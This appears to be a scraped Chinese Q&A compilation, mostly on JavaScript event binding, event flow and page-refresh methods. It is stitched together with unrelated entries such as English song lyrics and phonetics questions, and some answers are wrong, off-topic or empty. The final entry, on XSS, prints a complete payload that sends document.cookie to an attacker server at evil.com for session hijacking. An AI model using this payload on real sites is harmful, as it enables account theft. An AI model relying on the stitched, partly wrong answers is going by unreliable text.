从结果可以看出:    ①第三种方法事件处理程序中this也指向这个元素本身;    ②第三种方法并不会覆盖第一种或第二种方法注册的事件处理程序;实例四:<!DOCTYPE HTML><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>test</title> <style type="text/css"> #div1{width: 300px; height: 300px; background: red; overflow: hidden;} </style></head><body> <div id="div1" onclick="console.log("html:"); console.log(this);">div1</div> <script type="text/javascript"> var div1 = document.getElementById("div1"); div1.onclick = function(){ console.log("div1.onclick:"); console.log(this); }; div1.attachEvent("onclick", function(){ console.log("div1.attachEvent:"); console.log(this === window); }); </script></body></html>  结果四:  从结果可以看出:    ①第四种方法事件处理程序中this指向全局对象Window;    ②第四种方法也不会覆盖第一种或第二种方法注册的事件处理程序;3.事件处理程序的调用顺序:多个事件处理程序调用规则如下:  ①通过HTML属性注册的处理程序和通过设置对象属性的处理程序一直优先调用;  ②使用addEventListener()注册的处理程序按照它们的注册顺序依次调用;  ③使用attachEvent()注册的处理程序可能按照任何顺序调用,所以代码不应该依赖于调用顺序;

JavaScript中的事件如何进行绑定与解除

本文将分享有关JavaScript事件的绑定与解除,有一定的参考价值,希望对大家有所帮助JavaScript中的事件表示当我们点击某个 HTML 元素时启动一段 JavaScript,从而触发浏览器的行为,我们常常需要用到事件的绑定,接下来将和大家详细分享几种常见的事件绑定方法以及如何解除绑定事件绑定onclick事件指鼠标按下时对象被触发,一个元素只能绑定一个事件当鼠标点击方块时改变它的背景颜色window.onload=function(){var div=document.getElementsByTagName("div")[0];div.onclick=function(){div.style.backgroundColor="pink";console.log(1);}}效果图点击前点击后addEventListener(event, function, useCapture)指向指定元素添加事件句柄,可以添加多个事件,IE9以下不兼容event:指定事件名,以字符串的形式存在function:指事件触发时所执行的函数useCapture:布尔值,说明事件是否在捕获或者冒泡阶段执行,其中true代表事件句柄在捕获阶段执行,false代表事件句柄在冒泡阶段执行,其中false代表默认值 window.onload=function(){ var div=document.getElementsByTagName("div")[0]; div.addEventListener("click",function(){ div.style.backgroundColor="pink"; },false); }//用addEventListener绑定一个click事件,当点击时使背景颜色改变注意:在写事件时注意不要写on,直接写click大多数情况下写falseattachEvent(event, function)一个事件可以绑定多个处理程序,同一个函数也可以绑定多次是IE 独有的event:需要绑定的事件的类型,注意要以on开头function:指事件触发时所执行的函数window.onload=function(){var div=document.getElementsByTagName("div")[0]; div.attachEvent("onclick",function(){ div.style.backgroundColor="pink"; }); }注意:程序的运行一定要在IE浏览器下。解除事件绑定onclick =false/nullonclick事件的解绑通过令它的值为false或者为null解除window.onload=function(){ var div=document.getElementsByTagName("div")[0]; div.onclick=function(){ div.style.backgroundColor="pink"; } div.onclick=null;removeEventListener(event, function, useCapture)用于解除绑定了addEventListener事件,注意在解除绑定时不能直接写function,要将函数写在外部 window.onload=function(){ var div=document.getElementsByTagName("div")[0]; div.addEventListener("click",demo,false); function demo(){ div.style.backgroundColor="pink"; } div.removeEventListener("click",demo,false); }//用addEventListener绑定一个click事件,当点击时使背景颜色改变detachEvent(event, function)用于解除attachEvent事件,注意在解除绑定时不能直接写function,要将函数写在外部 window.onload=function(){ var div=document.getElementsByTagName("div")[0]; div.attachEvent("onclick",demo); function demo(){ div.style.backgroundColor="pink"; } div.detachEvent("onclick",demo); }总结:

javascript事件流是什么?有哪些事件流?

事件流是描述页面接收事件的顺序。具体的有事件冒泡事件捕获DOM事件流。1、事件冒泡又叫IE的事件流,即事件开始时由最具体的元素(文档中嵌套层次最深的那个节点)接收,然后逐级向上传播到较为不具体的节点(文档)。2、事件捕获的思想是不太具体的节点应该更早的接收到事件,而最具体的节点应该在最后接收到节点。事件捕获的用意在于事件到达预定目标之前捕获它。3、DOM2级事件流规定的事件流包括三个阶段:事件捕获阶段、处于目标阶段和冒泡阶段。首先发生的是事件捕获,为截获事件提供了机会。然后是实际的目标接收到事件。最后一个阶段是冒泡阶段,可以在这个阶段对事件作出响应。

编程,JavaScript中的onload无法多次调用,求解决办法

不但onload,所有事件都一样,如果同一个事件你写了多个触发的函数,那么它只会运行一个的。要想实现多次触发,必须使用addEventListener--“添加事件监听”的方法:window.addEventListener("load",函数1,false);window.addEventListener("load",函数2,false);要注意,这两个(或者更多)语句可以放在页面的不同地方(甚至可以是不同的js文件内),当网页加载(onload)时,这些函数就会逐一运行了。但是,上述方法在IE中无效,IE中要用attachEvent,而且用法也不同:window.attachEvent("onload",函数1);window.attachEvent("onload",函数2);

JAVASCRIPT中侦听器有何作用?什么时候用它?addListener的语法格式是什么?还有被动FTP是什么?

事件监听例如获取一个按钮var btn = document.getElementById("btn");btn..addEventListener("click", function () { alert("你点击了按钮") }, false);3个参数第一个 事件触发类型 比如 click mouseover 第二个 触发事件第三个 true or false 表示 是冒泡事件还是捕获事件 一般是false 跟ie统一 采用冒泡事件

javascript中总是报错:attachEvent is not defined

http://blog.csdn.net/zhangxs_3/article/details/4868297

javascript 事件监听是什么?

1、事件监听的定义在Javascript中,浏览器一般分为两大类:① 基于IE内核的浏览器(版本号小于9的IE浏览器)② 基于W3C内核的浏览器(版本号大于9的IE浏览器、Firefox、Google等浏览器)1)基本语法:基于IE内核浏览器dom对象.attachEvent(type,callback,capture) :为元素绑定事件监听程序参数说明:type:绑定的事件类型,如onclick、onmouseover、onmouseoutcallback:事件的处理程序,通常是一个匿名函数capture:使用的浏览器模型,冒泡模型与捕获模型,默认IE8以下的浏览器只支持冒泡模型!2)基本语法:基于W3C内核的事件监听dom对象.addEventListener(type,callback) :为W3C内核浏览器绑定事件监听参数说明:type:绑定事件类型,不带"on"前缀,如click,mouseover,mouseoutcallback:事件的处理程序,通常是一个匿名函数3、总结事件监听的区别IE内核的监听方式与W3C内核的监听方式:①方式不同IE内核的浏览器使用attachEvent进行绑定W3C内核的浏览器使用addEventListener进行绑定②参数不同IE内核浏览器,其绑定方式一共有三个参数type,callback,capture(使用的浏览器模型)W3C内核浏览器,其绑定方式一共有二个参数,type和callback③type参数不同IE内核的浏览器,type是需要添加"on"前缀的,如onclickW3C内核浏览器,type是不需要添加"on"前缀的,如click④触发顺序不同IE内核的浏览器,其事件监听是先绑定后触发,后绑定的先触发W3C内核的浏览器,其事件监听是先绑定先触发,后绑定的后触发

js动态加载事件的几种方法总结_javascript技巧

有些时候需要动态加载javascript事件的一些方法往往我们需要在 JS 中动态添加事件,这就涉及到浏览器兼容性问题了,以下谈及的几种方法,我们也常常混合使用。方法一、setAttributevar obj = document.getElementById("obj");obj.setAttribute("onclick", "javascript:alert("测试");");这里利用 setAttribute 指定 onclick 属性,简单,很好理解,但是:IE 不支持,IE 并不是不支持 setAttribute 这个函数,而是不支持用 setAttribute 设置某些属性,包括对象属性、集合属性、事件属性,也就是说用 setAttribute 设置 style、onclick、onmouseover 这些属性在 IE 中是行不通的。方法二、用 attachEvent 和 addEventListenerIE 支持 attachEventobj.attachEvent("onclick", Foo);function Foo(){ alert("测试");}也可写在一起obj.attachEvent("onclick", function(){alert("测试");});其它浏览器支持 addEventListenerobj.addEventListener("click", Foo, false);function Foo(){ alert("测试");}同样也可写在一起obj.addEventListener("click", function(){alert("测试");}, false);注意 attachEvent 的事件带 on,如 onclick,而 addEventListener 不带 on,如 click。顺便说一下 addEventListener 的第三个参数(虽然很少用) useCapture - 如果为 true,则 useCapture 指示用户希望启动捕获。启动捕获后,所有指定类型的事件将在被指派到树中其下面的任何 EventTargets 之前指派给已注册的 EventListener。正在通过树向上 bubbling 的事件将不触发指定的使用捕获的 EventListener。综合应用 代码如下:if (window.attachEvent){ //IE 的事件代码}else{ //其它浏览器的事件代码}方法三、事件 = 函数例:obj.onclick = Foo;这在多个浏览器中均支持,这是属于旧的规范(方法二属于 DOM2 的规范),不过由于使用方便,用的场合也比较多。下面是我的解决办法: 代码如下:function show(){ alert("Hello, world!!!");}obj.setAttribute("onclick",document.all ? eval(function(){show()}) : "javascript:show()");attachEvent方法,为某一事件附加其它的处理事件。(不支持Mozilla系列)addEventListener方法 用于 Mozilla系列举例: document.getElementById("btn").onclick = method1;document.getElementById("btn").onclick = method2;document.getElementById("btn").onclick = method3;如果这样写,那么将会只有medhot3被执行写成这样:var btn1Obj = document.getElementById("btn1"); //object.attachEvent(event,function);btn1Obj.attachEvent("onclick",method1);btn1Obj.attachEvent("onclick",method2);btn1Obj.attachEvent("onclick",method3);执行顺序为method3->method2->method1如果是Mozilla系列,并不支持该方法,需要用到addEventListener var btn1Obj = document.getElementById("btn1");//element.addEventListener(type,listener,useCapture);btn1Obj.addEventListener("click",method1,false);btn1Obj.addEventListener("click",method2,false);btn1Obj.addEventListener("click",method3,false);执行顺序为method1->method2->method3使用实例:1。 代码如下:var el = EDITFORM_DOCUMENT.body; //先取得对象,EDITFORM_DOCUMENT实为一个iframeif (el.addEventListener){ el.addEventListener("click", KindDisableMenu, false);} else if (el.attachEvent){ el.attachEvent("onclick", KindDisableMenu);}2。 代码如下:if (window.addEventListener) { window.addEventListener("load", _uCO, false);} else if (window.attachEvent) { window.attachEvent("onload", _uCO);}

这是JavaScript的一段代码,帮我分析一下用到了什么,具体点,回答老师用的

将json格式的字符串转换为json,然后循环取值

JavaScript 正则表达式语法中 $ 表示什么意思?

javascript正则表达式/g与/i及/gi的意义 regularexpression=/pattern/[switch] 这个switch就有三种值 g: 全局匹配 i: 忽略大小写 gi: 以上组合 //就像"",中间的_是正则表达式的模式,名面的g是选项,声明匹配的方式,其实好像就是将_换成$,个人意见,供参考。

wordphonetictranscription翻译?

word phonetic transcription词语音转录

音标:请解释一下图片中phonemic transcription和phonetic trans

Phonemics本身是音素学,研究的是组成单词的音素。可以这样理解,phonemic transcription 是基本的注音,是"广义的音标",你看到音标就知道怎么念,但无法体现口音, 它只负责把单词的音素标出来。Phonetics是发音学,研究是的是具体的某个音的发音,所以,phonetic transcription 是侧重发音的音标。 不同口音(美英,英音,澳音)都会有自己的相应的注音,如轻重,鼻音等等,都会被标注在这类音标上。你看到这类音标就能发出该单词对应口音的发音。

音标:请解释一下图片中phonemic transcription和phonetic trans

楼上答得很好,我就稍微补充个例子。以双元音ai为例, 后接浊辅音和清辅音时就会体现出差别。比如rice,phonemic transcription为/rais/phonetic transcription为 [ru028cis]但如果是rise,Phonemeic transcription 为/ raiz/Phonetic transcription 还为 [raiz]

非想天则神ai script文件夹里的英文的角色名

嘟嘟广州网友你解答使用方法: 1.请先将绯想天则的游戏目录修改为纯英文或1.早苗的AI似乎要把“script_dataに入れるもの”这个文件夹里的东西拷入

JavaScript中的数字时钟的显示问题

//如何在网页上显示一个数字时钟,使用JavaScript实现;<html><head><script type="text/javascript">function startTime(){var today=new Date();var h=today.getHours();var m=today.getMinutes();var s=today.getSeconds();// add a zero in front of numbers<10m=checkTime(m);s=checkTime(s);document.getElementById("txt").innerHTML=h+":"+m+":"+s;t=setTimeout("startTime()",500);}function checkTime(i){if (i<10) {i="0" + i;} return i;}</script></head><body onload="startTime()"><div id="txt"></div></body></html>

什么是Google V8 JavaScript引擎

想要精准解释百科上有。我就按我觉得有用的说:V8就是chrome浏览器用的js解释引擎,主要是C编写的,js是优秀web应用必不可少的前端脚本语言,而浏览器除了要展示你看到的这些网页内容外还需要保证页面能按开发者希望的方式和用户交互,因此还需要解释并执行js的一种东西,而js引擎就是这个东西,V8呢只是一种代号(名称)而已,比如firefox的js引擎有过tracemonkey、jaegermonkey、spidermonkey等。(javascript->js)

javascript 打开文件夹

发油箱给我

Javascript页面跳转间的常用方法有哪些

Javascript页面跳转间的常用方法一:JS 重载页面,本地刷新,返回上一页 代码如下:返回上一页 重载页面,本地刷新 返回上一页重载页面,本地刷新返回前二页并刷新的JS代码应该怎样写。 代码如下:history.go(-2); location.reload();window.history.go(-1);//返回上一页不刷新 window.location.href = document.referrer;//返回上一页并刷新二:js 方法 代码如下:asp自动返回并刷新的方法: 代码如下:response.Write(““)一般用于向一个页面提交action后返回前一页并刷新!Javascript 返回上一页history.go(-1), 返回两个页面: history.go(-2);history.back().window.history.forward()返回下一页window.history.go(返回第几页,也可以使用访问过的URL)response.Write(“") response.Write("if(!confirm("完成任务?")){history.back();}") “) response.Write(““)向上一页页面跳转:onclick=”window.location.href="list.aspx"”P.S. 小技巧(JS引用JS):Javascript刷新页面的几种方法: 1 history.go(0) 2 location.reload() 3 location=location 4 location.assign(location) 5 document.execCommand(‘Refresh") 6 window.navigate(location) 7 location.replace(location) 8 document.URL=location.href自动刷新页面的方法: 1.页面自动刷新:把如下代码加入区域中 其中20指每隔20秒刷新一次页面.2.页面自动跳转3.页面自动刷新js版function myrefresh() { window.location.reload(); } setTimeout("myrefresh()",1000); //指定1秒刷新一次ASP.NET如何输出刷新父窗口脚本语句 1. this.response.write(““); 2. this.response.write(““); 3. Response.Write(““)JS刷新框架的脚本语句//如何刷新包含该框架的页面用parent.location.reload();//子窗口刷新父窗口self.opener.location.reload();(或刷新 )//如何刷新另一个框架的页面用parent.另一FrameID.location.reload();如果想关闭窗口时刷新或者想开窗时刷新的话,在中调用以下语句即可。开窗时刷新 关闭时刷新window.opener.document.location.reload()三:在ASP中利用JS实现返回上一页并刷新 在ASP中利用JS实现返回上一页并刷新我想是利用ASP开发网站的时候经常使用的。但写法也有几种,但目的都是一样的。 代码如下:javascript刷新父页面的各种方法汇总用iframe、弹出子页面刷新父页面iframeparent.location.reload();弹出子页面window.opener.location.reload();子窗口刷新父窗口self.opener.location.reload();刷新以open()方法打开的窗口window.opener.location.href=window.opener.location.href;刷新以winodw.showModelDialog()方法打开的窗口window.parent.dialogArguments.document.execCommand("Refresh");js页面跳转的问题(跳转到父页面、最外层页面、本页面)js页面跳转:本页面跳转,上一层页面跳转,最外层的页面跳转,下面为大家大家分享下不同页面之家的跳转问题,感兴趣的朋友可以学习下 “window.location.href”、”location.href”是本页面跳转“parent.location.href”是上一层页面跳转“top.location.href”是最外层的页面跳转举例说明:如果A,B,C,D都是jsp,D是C的iframe,C是B的iframe,B是A的iframe,如果D中js这样写“window.location.href”、”location.href”:D页面跳转“parent.location.href”:C页面跳转“top.location.href”:A页面跳转如果D页面中有form的话,: form提交后D页面跳转: form提交后弹出新页面: form提交后C页面跳转: form提交后A页面跳转关于页面刷新,D 页面中这样写:“parent.location.reload();”: C页面刷新 (当然,也可以使用子窗口的 opener 对象来获得父窗口的对象:window.opener.document.location.reload(); )“top.location.reload();”: A页面刷新

几种使用javascript的页面刷新方法

javascript几种页面刷新的方法下面以三个页面分别命名为frame.html、top.html、bottom.html为例来具体说明如何做。 frame.html 由上(top.html)下(bottom.html)两个页面组成,代码如下: 代码如下:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML> <HEAD> <TITLE> frame </TITLE> </HEAD> <frameset rows="50%,50%"> <frame name=top src="top.html"> <frame name=bottom src="bottom.html"> </frameset> </HTML>现在假设top.html (即上面的页面) 有七个button来实现对bottom.html (即下面的页面) 的刷新,可以用以下七种语句,哪个好用自己看着办了。top.html 页面的代码如下: 制代码 代码如下:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML> <HEAD> <TITLE> top.html </TITLE> </HEAD> <BODY> <input type=button value="刷新1" onclick="window.parent.frames[1].location.reload()"><br><input type=button value="刷新2" onclick="window.parent.frames.bottom.location.reload()"><br><input type=button value="刷新3" onclick="window.parent.frames["bottom"].location.reload()"><br><input type=button value="刷新4" onclick="window.parent.frames.item(1).location.reload()"><br><input type=button value="刷新5" onclick="window.parent.frames.item("bottom").location.reload()"><br><input type=button value="刷新6" onclick="window.parent.bottom.location.reload()"><br><input type=button value="刷新7" onclick="window.parent["bottom"].location.reload()"><br></BODY> </HTML>下面是bottom.html页面源代码,为了证明下方页面的确被刷新了,在装载完页面弹出一个对话框。 代码如下:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML> <HEAD> <TITLE> bottom.html </TITLE> </HEAD> <BODY onload="alert("我被加载了!")"> <h1>This is the content in bottom.html.</h1> </BODY> </HTML>解释一下: 代码如下:1.window指代的是当前页面,例如对于此例它指的是top.html页面。 2.parent指的是当前页面的父页面,也就是包含它的框架页面。例如对于此例它指的是framedemo.html。 3.frames是window对象,是一个数组。代表着该框架内所有子页面。 4.item是方法。返回数组里面的元素。 5.如果子页面也是个框架页面,里面还是其它的子页面,那么上面的有些方法可能不行。 附: Javascript刷新页面的几种方法: 1 history.go(0) 2 location.reload() 3 location=location 4 location.assign(location) 5 document.execCommand("Refresh") 6 window.navigate(location) 7 location.replace(location) 8 document.URL=location.href二、自动刷新页面 1.页面自动刷新:把如下代码加入<head>区域中 <meta http-equiv="refresh" content="20"> 其中20指每隔20秒刷新一次页面. 2.页面自动跳转:把如下代码加入<head>区域中 <meta http-equiv="refresh" content="20;url=http://www.gxlcms.com"> 其中20指隔20秒后跳转到http://www.gxlcms.com页面 3.页面自动刷新js版 <script language="JavaScript">function myrefresh() { window.location.reload(); } setTimeout("myrefresh()",1000); //指定1秒刷新一次 </script>三、java在写Servler,Action等程序时,要操作返回页面的话(如谈出了窗口,操作完成以后,关闭当前页面,刷新父页面) 代码如下:1 PrintWriter out = response.getWriter(); 2 out.write("<script type="text/javascript">"); 3 ////子窗口刷新父窗口 4 out.write("self.opener.location.reload();"); 5 //关闭窗口 6 out.write("window.opener=null;"); 7 out.write("window.close();"); 8 out.write("</script>");四、JS刷新框架的脚本语句1.如何刷新包含该框架的页面用 代码如下:<script language=JavaScript> parent.location.reload(); </script>2.子窗口刷新父窗口 代码如下:<script language=JavaScript> self.opener.location.reload(); </script>3.如何刷新另一个框架的页面用 (上面的实例以说明了) 代码如下:语句1. window.parent.frames[1].location.reload(); 语句2. window.parent.frames.bottom.location.reload(); 语句3. window.parent.frames["bottom"].location.reload(); 语句4. window.parent.frames.item(1).location.reload(); 语句5. window.parent.frames.item("bottom").location.reload(); 语句6. window.parent.bottom.location.reload(); 语句7. window.parent["bottom"].location.reload();4.如果想关闭窗口时刷新或者想开窗时刷新的话,在<body>中调用以下语句即可。<body onload="opener.location.reload()"> 开窗时刷新 <body onUnload="opener.location.reload()"> 关闭时刷新 代码如下:<script language="javascript"> window.opener.document.location.reload() </script> JavaScript 实现页面跳转的几种方法:window.location.href="new.jsp?msg="hello";self.location="new.jsp?pam="omg";window.navigate("new.jsp") ;top.location="show.jsp";

javascript显示错误 对象不支持此属性或方法

是哦,你这都没有<form></form>标签,怎么会有form1呢

javascript原型,原型链 有什么特点

这个解释的很不错,你可以看看http://www.cnblogs.com/FlyingCat/archive/2009/09/21/1570656.html

javascript如何判断鼠标是否触发了onmouseover事件

多少年都不写代码了。忘记了

javascript给一个html标签添加onmouseover事件。

你不如直接说你想实现什么功能

onMouseOver="javascript:doClick1()什么意思

鼠标经过时调用doclick1()

什么是scriptedsandbox64.exe吗

360sandbox.exe 是一个小型的软件, 是360开发推出的保险箱软件, 安装后,可以自动添加程序, 每次打开程序的时候, 首先通过360sandbox.exe软件, 进行一些基本木马病毒的检测, 以确保网络游戏,股市交易,银行账号等, 的安全性。

javascript 修改body样式

document.getElementsByTagName("body")[0].setAttribute("style","background-color:white")

javascript如何获取里的值?

1、获取URL;window.document.URL。2、将得到的URL分割为数组 再获取第一个数组。3、封装方法。4、代码:function lond_urlvalue(){ var url=window.document.URL;return url.split("=")[1]; //id }。延展阅读:Javascript,一种高级编程语言,通过解释执行,是一门动态类型,面向对象(基于原型)的直译语言;是一种基于对象和事件驱动并具有相对安全性的客户端脚本语言;同时也是一种广泛用于客户端Web开发的脚本语言,常用来给HTML网页添加动态功能,比如响应用户的各种操作。它最初由网景公司(Netscape)的Brendan Eich设计,是一种动态、弱类型、基于原型的语言,内置支持类。

有什么好的学习javascript的网站

优酷搜索智能社视频

有什么好的学习javascript的网站

1.MDN(Mozilla Developer Network):MDN 是一个开放的 Web 技术文档库,其中包含了 JavaScript 语言的完整文档和教程。它包含了从初学者到高级开发人员所需的所有信息。 2.W3Schools:W3Schools 是一个非常受欢迎的网站,提供了大量的 Web 开发教程和实例。它的 JavaScript 教程包括了基础语法、DOM 操作、事件处理、AJAX、JSON 等方面的内容。 3.Codecademy:Codecademy 是一个在线编程学习平台,提供了大量的互动式课程,包括 JavaScript。它的课程非常适合初学者,涵盖了从基础到高级的内容。 4.freeCodeCamp:freeCodeCamp 是一个非营利性组织,提供了大量的编程课程和项目。它的 JavaScript 课程包括了 ES6、函数、面向对象编程等方面的内容。 5.YouTube:YouTube 上有很多优秀的 JavaScript 教程视频,包括入门教程、实战项目、框架教程等。其中一些最受欢迎的频道包括 Traversy Media、The Net Ninja、Academind 等。 6.JavaScript.info:这是一个完整的 JavaScript 教程,旨在为初学者提供深入的学习体验,逐步学习语言特性,从而能够掌握更高级的主题。

iphone4cydia里面重启springBoard长按出现javascript打开是什么意思拜托了各位 谢谢

想当于电脑上的注销。就是你装的新的软件,它需要注销后实现运行。

JavaScript 中$的作用是什么?

用于获得对象

ActionScript3 好找工作吗??

最重要还是能做出点作品来,学是没用的 要运用到公司里面工作并进步吧

求the script 的 hall of fame!mp3格式 谢!

亲自听过,是the script的,希望帮得到你哟。

求 the script的hall of fame 的mp3百度云

javascript中的placeholder是什么意思呀?

一个变量,在这里就代表新打开的那个窗口。那就举个例子吧<html><script langruage="javascript"> var placeHolder = window.open("holder.html","placeholder","width=200,height=200"); </script></html>把上面的程序存为一个.html文件,点击打开的时候,会弹出一个新的窗口。那个新的窗口在程序里边就可以用placeHolder来控制。接着再看这个:<html><script langruage="javascript"> var placeHolder = window.open("holder.html","placeholder","width=200,height=200"); placeHolder.close(); </script></html>加了一句话:placeHolder.close();运行新的程序,弹出窗口刚打开,马上就会被关闭,这样不知道你清楚了吗?

求Thescript组合唱的HallofFame的详细歌词

Yeah, you could be the greatest, you can be the best是的,你可以成为最伟大的,你可以成为最好的You can be the King Kong banging on your chest你可以成为敲打着胸膛的金刚You could beat the world, you could beat the war你可以打败世界,你可以打败战争You could talk to God, go banging on His door你可以与上帝交谈,敲打他的大门You can throw your hands up, you can beat the clock你可以举起双手,你可以赶上时间You can move a mountain, you can break rocks你可以移动山峰,你可以击碎岩石You could be a master, don"t wait for luck你可以成为主人,不需要等待幸运降临Dedicate yourself and you can find yourself奉献你自己,然后你便可以找到自我Standing in the hall of fame站在名人堂中And the world"s gonna know your name全世界都会知道你的名字Cause you"re burning with the brightest flame因为你为最明亮的火焰所燃And the world"s gonna know your name全世界都会知道你的名字And you"ll be on the walls of the hall of fame而你会位列名人堂之墙You could go the distance, you can run the mile你可以坚持到底,你可以跑到极限You can walk straight through hell with a smile你可以微笑着穿越地狱You could be the hero, you could get the gold你可以成为英雄,你可以获得金牌Breaking all the records they thought never could be broke打破所有那些别人认为牢不可破的记录Do it for your people, do it for your pride行动吧,为你的人民,为你的骄傲Never gonna know if you never even try如果不尝试就永远不会知道结果Do it for your country, do it for you name行动吧,为你的国家,为你的名誉Cause there gonna be a day因为将会有一天When you"re standing in the hall of fame当你站在名人堂中And the world"s gonna know your name全世界都会知道你的名字Cause you"re burning with the brightest flame、因为你为最明亮的火焰所燃And the world"s gonna know your name而全世界都会知道你的名字And you"ll be on the walls of the hall of fame你会位列名人堂之墙Be a champion,成为冠军Be a champion,成为冠军Be a champion,成为冠军Be a champion成为冠军On the walls of the hall of fame在名人堂之墙上Be students成为学生Be teachers成为导师Be politicians成为政客Be preachers成为传教士Be believers成为信徒Be leaders成为领导者Be astronauts成为航天员Be champions成为冠军Be truth seekers成为真理的探索者

detailed description是什么意思

detailed description[英][du026au02c8teu026ald disu02c8kripu0283u0259n][美][du026au02c8teld du026au02c8skru026apu0283u0259n]详细说明; 以上结果来自金山词霸

vba是脚本吗?它和VBScript有什么区别吗?

VBA不是脚本,它是内嵌到应用程序(主要是微软自己的OFFICE系列软件)中的VB程序设计语言。而脚本通常是指非编译的、以文本形式存在的、通过解析器逐行解析运行的一种程序语言。

actionscript3.0中new Date().time/1000 用php怎么写

actionscript3.0中new Date().time 获取当前时间的时间戳,含毫秒php中time()函数 获取当前时间的时间戳,不含毫秒,只能获取到秒因此在PHP中用time()

用javascript控制div的显示从下方逐渐出现

functionchangeBody(index){switch(index){case1:{document.getElementById("iDBody1").style.display="";document.getElementById("iDBody2").style.display="none";document.getElementById("iDBody3").style.display="none";}case2:{document.getElementById("iDBody1").style.display="none";document.getElementById("iDBody2").style.display="";document.getElementById("iDBody3").style.display="none";}case3:{document.getElementById("iDBody1").style.display="none";document.getElementById("iDBody2").style.display="none";document.getElementById("iDBody3").style.display="";}}}

javascript 的document.all

document.all是获取body中所有的ID元素,你未设置自然为空

javascript:如何移除一个元素document.removeElement??

<style>body,td,div,a,input{font:menu;line-height:150%}</style><form method=post enctype="multipart/form-data"><table cellspacing=1 cellpadding=1 border=0 width=100% id=t136> <tbody> <input type=hidden name=deal value=true> <input type=hidden name=frmID value=22> <input type=hidden name=thisdir value=> <input type=hidden name=TID value=> <input type=hidden name=frmShowURL value=payment><input type=hidden name=ID value=> <tr style="font-weight: bold" bgcolor=ACD0FD> <td colspan=2>呵呵</td> </tr> <tr bgcolor=EFEFD6> <td colspan=2> <font color=000080>哈哈</font> </td> </tr> <tr bgcolor=F0F0F0> <td>xixi</td> <td>xixi </td> </tr> <tr bgcolor=F9F9F9> <td>hehe</td> <td> <input type=text class=border_index name=newdir style="ime-mode:disabled"> <font color=000080>hehe</font> </td> </tr> <tr bgcolor=F0F0F0> <td>新图片上传</td> <td> <div> <input type=button onclick=addNew() value=增加 class=button_index> <font color=000080>(按一次增加按钮就可以上传一张图片。)</font> </div> </td> </tr> <tbody></table></form><script>var i=0,arr=new Array("F9F9F9","F0F0F0");function addNew(){ tr=document.all.t136.insertRow(); //tr.style.backgroundColor=arr[i%2]; tr.insertCell().innerText="图片"+(++i); tr.insertCell().innerHTML="<input type=file name=pic"+i+" class=border_index> <a href=javascript:void(0) onclick=del()>删除</a>"}function del(){ document.all.t136.deleteRow(window.event.srcElement.parentElement.parentElement.rowIndex); for(i=0;i<document.all.t136.rows.length-5;i++){ document.all.t136.rows[i+5].cells[0].innerText="图片"+(i+1); document.all.t136.rows[i+5].cells[1].children[0].name="pic"+(i+1); document.all.t136.rows[i+5].style.backgroundColor=arr[i%2]; }}</script>

javascript中document和document.documentElement有什么区别,为什么

document是指文档模型,将整个页面作为一棵dom树来处理其结构为#document<!doctype html><html>.........</html>而documentElement,注意其中的element,元素(也就是一个标签以及里面的数据),说明这是一个文档元素,是这个文档的根元素以及其包含的所有数据。其结构为<html>....................</html>

在javascript里document的作用

document 是一个文档对象,使用 document 对象可以对 HTML 文档进行检查、修改或添加内容,并处理该文档内部的事件。在 Web 页面上,document 对象可通过 window 对象的 document 属性引用,或者直接引用。document的集合中有forms,而forms获取以源顺序排列的文档中所有 form 对象的集合。在HTML DOM框架中,window(窗口对象)比document(文档对象)级别高,document比forms[](表单对象)级别高,forams[]比放在其内的组件对象级别高(如:button,text,checkbox等等)

javascript中的demo是什么意思

给标签赋值,后期引用并展示结果

什么是JavaScript注入及简单的防御方法

很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:<form action="sendmessage.php" method="post""><textarea name="message"> </textarea><input type="submit" value="send" /></form>当用户点击发送时,这条消息会被保存在数据库中指定的数据表中,另一个用户当打开这条消息的时候将看到发送的内容。但是,如果一个恶意攻击者发送的内容包含了一些javascript代码,这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候,恶意的javascript代码就会得到执行,造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持,直接以合法用户的身份登录其他用户的账户。恶意攻击者可以在消息框中加入一下javascript代码:? var url = "http://www.evil.com/index.php"; //攻击者控制的服务器var postStr = "ck=" + document.cookie;var ajax = null;if(window.XMLHttpRequest()){ajax = new XMLHttpRequest();}else if(window.ActiveXObject){ajax = new ActiveXObject("Microsoft.XMLHttp");}else{return;}ajax.open("POST", url, true);ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajax.send(postStr);ajax.onreadystatechange = function(){if(ajax.readyState == 4 && ajax.status == 200){//alert("Done!");}}通过AJAX异步请求,将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利用这些cookie信息以”合法”用户的身份进行登录操作。这里首先要理清楚几个重要的问题:1. cookie的作用Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965。也就是说,cookie是用户和服务器之间的桥梁。服务器可以使用session来保存用户的身份信息(ID,购物车等),但是需要用户在访问网页(发送HTTP数据包)的时候附带上相应的cookie,通过cookie中的特定值来识别sessionID,才能把单独用户和单独的session联系起来。cookie是有状态HTTP交互的一种重要机制。2. 浏览器的同源策略在进行cookie窃取的时候,攻击者偷取的cookie是什么,是全部cookie,还是当前这个网站的cookie?要解决这个问题,我们要先了解一些浏览器的同源策略。同源策略,它是由Netscape提出的一个著名的安全策略。现在所有支持JavaScript 的浏览器都会使用这个策略。所谓同源是指,域名,协议,端口相同。当一个浏览器的两个tab页中分别打开来 百度和谷歌的页面当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的,即检查是否同源,只有和百度同源的脚本才会被执行。同源策略(Same Origin Policy)是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说web是构建在同源策略的基础之上的,浏览器只是针对同源策略的一种实现。浏览器的同源策略限制了来自不同源的”document”或脚本,对当前”document”的读取或者设置某些属性。为了不让浏览器的页面行为发生混乱,浏览器提出了”Origin”(源)这以概念,来自不同的Origin的对象无法互相干扰。因为同源策略的原因,也就导致了我们的XSS 